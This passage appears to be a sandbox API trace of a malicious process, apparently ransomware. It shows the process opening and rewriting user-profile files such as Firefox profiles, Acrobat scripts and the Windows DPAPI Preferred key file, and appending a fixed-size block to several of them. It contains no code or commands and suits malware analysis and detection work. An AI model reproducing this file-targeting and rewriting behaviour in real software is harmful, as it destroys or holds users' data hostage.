lpBuffer=0x2724a28*, lpNumberOfBytesWritten=0x304f2d0*=0x73a, lpOverlapped=0x0) returned 1 [0057.965] CloseHandle (hObject=0x1d4) returned 1 [0057.965] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\8059e9a0d314877e40fe93d8ccfb3c69_74e943f7dab6d19e37e4854057155778"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.966] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.966] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x182 [0057.966] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.966] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.966] ReleaseMutex (hMutex=0x128) returned 1 [0057.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0057.966] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cchWideChar=65, lpMultiByteStr=0x1e95224, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", lpUsedDefaultChar=0x0) returned 65 [0057.966] ReadFile (in: hFile=0x1d4, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x182, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x304f2bc*=0x182, lpOverlapped=0x0) returned 1 [0057.967] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.967] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209c8*, nNumberOfBytesToWrite=0x70a, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27209c8*, lpNumberOfBytesWritten=0x304f2d0*=0x70a, lpOverlapped=0x0) returned 1 [0057.967] CloseHandle (hObject=0x1d4) returned 1 [0057.967] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\955cab6ff6a24d5820d50b5ba1cf79c7_ad9e7615297a3a83320aace5801a04f9"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.968] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.968] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x194 [0057.968] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.968] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.968] ReleaseMutex (hMutex=0x128) returned 1 [0057.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0057.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cchWideChar=65, lpMultiByteStr=0x1e95224, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", lpUsedDefaultChar=0x0) returned 65 [0057.968] ReadFile (in: hFile=0x1d4, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x194, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x304f2bc*=0x194, lpOverlapped=0x0) returned 1 [0057.969] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.969] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209c8*, nNumberOfBytesToWrite=0x71c, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27209c8*, lpNumberOfBytesWritten=0x304f2d0*=0x71c, lpOverlapped=0x0) returned 1 [0057.969] CloseHandle (hObject=0x1d4) returned 1 [0057.969] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\c46e7b0f942663a1edc8d9d6d7869173_42820cdfea41dc84aab89a6b63561873"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.970] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.970] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x192 [0057.970] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.970] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.970] ReleaseMutex (hMutex=0x128) returned 1 [0057.970] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0057.970] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cchWideChar=65, lpMultiByteStr=0x1e95224, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", lpUsedDefaultChar=0x0) returned 65 [0057.970] ReadFile (in: hFile=0x1d4, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x192, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x304f2bc*=0x192, lpOverlapped=0x0) returned 1 [0057.971] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.971] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209c8*, nNumberOfBytesToWrite=0x71a, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27209c8*, lpNumberOfBytesWritten=0x304f2d0*=0x71a, lpOverlapped=0x0) returned 1 [0057.971] CloseHandle (hObject=0x1d4) returned 1 [0057.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\AU\\au.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\au\\au.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.972] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.972] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2d400 [0057.972] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.972] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.972] ReleaseMutex (hMutex=0x128) returned 1 [0057.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="au.msi", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0057.972] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="au.msi", cchWideChar=6, lpMultiByteStr=0x1e6a7bc, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="au.msi", lpUsedDefaultChar=0x0) returned 6 [0057.973] ReadFile (in: hFile=0x1d4, lpBuffer=0x27209a8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesRead=0x304f278*=0x8000, lpOverlapped=0x0) returned 1 [0057.974] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2c400 [0057.975] ReadFile (in: hFile=0x1d4, lpBuffer=0x2730a08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2730a08*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.975] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2c400 [0057.976] WriteFile (in: hFile=0x1d4, lpBuffer=0x276d988*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.976] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0057.976] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x8000, lpOverlapped=0x0) returned 1 [0057.976] CloseHandle (hObject=0x1d4) returned 1 [0057.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.977] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.977] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xa [0057.977] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.977] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.977] ReleaseMutex (hMutex=0x128) returned 1 [0057.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glob.settings.js", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0057.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="glob.settings.js", cchWideChar=16, lpMultiByteStr=0x1e78b04, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="glob.settings.js", lpUsedDefaultChar=0x0) returned 16 [0057.977] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e6a7b8, nNumberOfBytesToRead=0xa, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e6a7b8*, lpNumberOfBytesRead=0x304f2bc*=0xa, lpOverlapped=0x0) returned 1 [0057.978] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.978] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x592, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x592, lpOverlapped=0x0) returned 1 [0057.978] CloseHandle (hObject=0x1d4) returned 1 [0057.978] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JOpHZZ.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jophzz.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.978] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.979] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x6eb5 [0057.979] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.979] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.979] ReleaseMutex (hMutex=0x128) returned 1 [0057.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JOpHZZ.mp3", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0057.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JOpHZZ.mp3", cchWideChar=10, lpMultiByteStr=0x1e62fcc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JOpHZZ.mp3", lpUsedDefaultChar=0x0) returned 10 [0057.979] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.980] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5eb5 [0057.980] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.980] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x5eb5 [0057.980] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.980] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0057.980] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0057.980] CloseHandle (hObject=0x1d4) returned 1 [0057.981] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\preferred"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.982] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.982] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x18 [0057.982] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.982] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.982] ReleaseMutex (hMutex=0x128) returned 1 [0057.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Preferred", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0057.982] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Preferred", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Preferred", lpUsedDefaultChar=0x0) returned 9 [0057.982] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e78b00, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78b00*, lpNumberOfBytesRead=0x304f2bc*=0x18, lpOverlapped=0x0) returned 1 [0057.983] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.983] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x5a0, lpOverlapped=0x0) returned 1 [0057.983] CloseHandle (hObject=0x1d4) returned 1 [0057.983] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20131025151332" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\crash reports\\installtime20131025151332"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.984] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.984] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xa [0057.984] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.984] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.984] ReleaseMutex (hMutex=0x128) returned 1 [0057.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InstallTime20131025151332", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0057.984] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="InstallTime20131025151332", cchWideChar=25, lpMultiByteStr=0x1e7faec, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallTime20131025151332", lpUsedDefaultChar=0x0) returned 25 [0057.984] ReadFile (in: hFile=0x1d4, lpBuffer=0x1e6a7b8, nNumberOfBytesToRead=0xa, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e6a7b8*, lpNumberOfBytesRead=0x304f2bc*=0xa, lpOverlapped=0x0) returned 1 [0057.985] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0057.985] WriteFile (in: hFile=0x1d4, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x592, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x304f2d0*=0x592, lpOverlapped=0x0) returned 1 [0057.985] CloseHandle (hObject=0x1d4) returned 1 [0057.990] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\search.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\search.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0057.990] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.990] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x4183 [0057.990] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0057.990] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.990] ReleaseMutex (hMutex=0x128) returned 1 [0057.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="search.json", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0057.990] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="search.json", cchWideChar=11, lpMultiByteStr=0x1e631ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="search.json", lpUsedDefaultChar=0x0) returned 11 [0057.990] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.992] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3183 [0057.992] ReadFile (in: hFile=0x1d4, lpBuffer=0x276d988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x276d988*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0057.992] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x3183 [0057.992] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0057.993] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0057.993] WriteFile (in: hFile=0x1d4, lpBuffer=0x27209a8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27209a8*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0057.993] 